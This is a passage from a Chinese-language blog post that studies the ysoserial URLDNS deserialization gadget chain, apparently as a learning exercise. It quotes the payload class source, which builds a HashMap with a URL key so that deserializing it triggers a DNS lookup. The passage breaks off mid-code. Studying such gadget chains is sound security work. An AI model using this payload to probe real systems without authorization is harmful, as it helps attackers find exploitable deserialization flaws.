前言
从之前shiro、fastjson等反序列化漏洞刚曝出的时候,就接触ysoserial的工具利用了,不过这么久都没好好去学习过其中的利用链,这次先从其中的一个可以说是最简单的利用链URLDNS开始学起。
分析
复制到IDEA中,并导入ysoserial的jar包,当然也可以直接构建生成整个ysoserial项目,然后找到对应的java文件进行调试。
先看下整体代码:
public class URLDNS implements ObjectPayload {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(UR